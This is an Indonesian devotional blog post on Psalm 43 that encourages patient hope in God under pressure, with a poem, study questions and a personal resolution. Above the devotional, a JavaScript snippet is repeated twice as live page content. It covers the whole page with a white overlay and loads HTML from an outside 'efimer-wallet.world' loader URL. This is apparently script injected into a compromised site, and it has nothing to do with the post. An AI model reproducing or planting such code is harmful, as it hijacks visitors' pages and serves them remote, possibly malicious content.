BERHARAPLAH PADA ALLAH!

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Jumat, 03 November 2023

Mazmur 43

Pengantar

Ada sebuah puisi menarik karya Dewi Pagi yang dimuat dalam Kompasiana.com. Puisi ini menggambarkan hidup bagaikan bermain roller coaster:

Hidup  ibarat  roller  coaster terjepit, jatuh, naik, berjungkir balik histeris menjerit bagai leher akan dicekik

Roller coaster kencang berputar jantung dan nadi ikut hebat bergetar rasa takut ketika terhempas ke bawah teriakan rasa gundah lalu lepaskan resah

Puisi ini mau menggambarkan kehidupan bagaikan permainan yang menyenangkan namun diwarnai pengalaman menegangkan. Bila demikian apakah yang perlu kita lakukan agar kita tetap bahagia di tengah kehidupan yang diwarnai ketegangan dan ketakutan mencekam? Marilah kita belajar dari Mazmur 43.

Pemahaman

Ayat 1-2 : bagaimanakah situasi hidup yang sedang dialami Pemazmur?

Ayat 3-5 : Apakah yang dilakukan Pemazmur di tengah tekanan kehidupan?

Mazmur 43 dilatarbelakangi konteks perjuangan hidup Pemazmur yang berhadapan dengan tekanan mereka yang berlaku tidak adil, curang dan suka menipu (ayat 1). Tentu kondisi seperti ini tak mudah dihadapi bahkan bisa jadi menggoncang iman. Walaupun ada kesadaran bahwa ALLAH adalah tempat pengungsian; tempat menemukan keamanan dan ketenangan namun akan tetap muncul perasaan “ mengapa engkau membuang aku?” (ayat 2 ).

Dalam pergumulannya, Pemazmur tidak membiarkan dirinya terpuruk dalam ketakutan yang mencekam namun melakukan dialog batin yang memotivasi dan mengarahkan dirinya untuk terus berharap pada ALLAH. Katanya, “mengapa engkau tertekan hai jiwaku dan mengapa engkau gelisah dalam diriku? Berharaplah kepada ALLAH! (ayat 5) Kata berharap berasal dari kata Ibrani yachal

yang berarti sabar menanti, tetap bertahan, tetap percaya kepada ALLAH meskipun terluka oleh penderitaan itu.

Sesungguhnya ALLAH tidak berdiam diri. Dia berkarya aktif untuk menolong dan menyelamatkan umat-Nya. Bila kita meyakini bahwa ALLAH sedang berkarya untuk menyelamatkan kita maka kita akan bisa selalu bersyukur kepada ALLAH, Sang Penolong. Namun tantangannya adalah daya tahan kita dalam proses yachal (proses berharap). Tak sedikit orang tak tahan atau tak sabar menanti pertolongan TUHAN. Pengharapan mereka goyah oleh tekanan yang menggoncangkan sehingga mengambil keputusan berhenti berharap pada ALLAH. Syukurlah pergumulan iman Pemazmur segera berganti dengan keyakinan iman bahwa ALLAH adalah sumber kegembiraan dan sukacita yang mampu mengirimkan terang dan kesetiaan-Nya hingga ungkapan syukur pun dipanjatkan kepada TUHAN. ( ayat 3-4).

Sesungguhnya hidup ini bukan tentang kita tapi tentang TUHAN yang berkarya dalam hidup kita. Jadi apa pun yang terjadi, jangan mengandalkan kekuatan sendiri. Bila kita mengandalkan kekuatan sendiri, maka hidup ini akan menyeramkan dan menegangkan sebab ada banyak peristiwa yang kita alami di luar kendali dan kekuatan kita. Namun sebaliknya bila kita terus setia berharap pada ALLAH maka kuasa-Nya akan memampukan kita menikmati hidup dengan bahagia walau pun terkadang tekanan dan goncangan juga melanda.

Refleksi                                                                

Dalam keheningan, renungkanlah perjalanan hidup Saudara. Apakah Saudara selalu setia berharap pada ALLAH ataukah pernah kehilangan kesabaran untuk berharap?

Tekadku                                                                

Ya TUHAN, mampukanlah aku untuk melanjutkan kehidupan dengan selalu berharap pada-Mu.

Tindakanku                                                           

Mulai hari ini aku akan belajar menghentikan kecemasan dan ketakutan melainkan mempercayakan hidupku sepenuhnya untuk dipegang dan ditopang TUHAN. Aku akan berhenti mengandalkan pikiran sendiri agar dapat setia berharap pada ALLAH!

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *